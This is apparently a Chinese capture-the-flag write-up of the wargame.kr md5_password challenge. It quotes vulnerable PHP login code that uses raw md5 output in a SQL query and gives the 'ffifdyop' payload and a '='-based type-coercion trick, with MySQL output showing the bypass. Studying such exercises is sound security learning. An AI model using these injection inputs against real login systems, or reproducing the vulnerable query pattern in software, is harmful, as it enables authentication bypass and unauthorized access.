wargame.kr md5_password与SQL注射

http://wargame.kr:8080/md5_password/index.php

关键源码

$ps=mysql_real_escape_string($_POST['ps']);

$row=@mysql_fetch_array(mysql_query("select * from admin_password where password='".md5($ps,true)."'"));

这里注意md5函数还带了参数true。语法:

md5(string,raw)

参数描述

string必需。规定要计算的字符串。

raw可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式

FALSE - 默认。32 字符十六进制数

所以如果某个payload的md5取二进制之后的值是 口口' or '1口口 就会使得select * from admin_password where password='口口' or '1口口'  。注意or 最后可以1或2或3等数字开头,MySQL会将其处理为数字类型。

那么经典的这样的payload 就是ffifdyop ,其md5 二进制后内容是 �'or'6�]��

----------------

还有另外一种解法是,寻找一个payload 包含'='   使得构造select * from admin_password where password=''='c'      。解释一下 password='' 得到0 ,然后0='c' 因为MySQL将'c'看做数字类型于是判断布尔成立。

mysql> select * from users where password =''='';

+-------+----------+

| name  | password |

+-------+----------+

| guest | guest    |

+-------+----------+

1 row in set (0.00 sec)

mysql> select * from users where password =''='c';

+-------+----------+

| name  | password |

+-------+----------+

| guest | guest    |

+-------+----------+

1 row in set, 1 warning (0.00 sec)

mysql> select * from users where password =''='1';

Empty set (0.00 sec)

http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

http://blog.csdn.net/qq_19876131/article/details/52890945

你可能感兴趣的:(wargame.kr md5_password与SQL注射)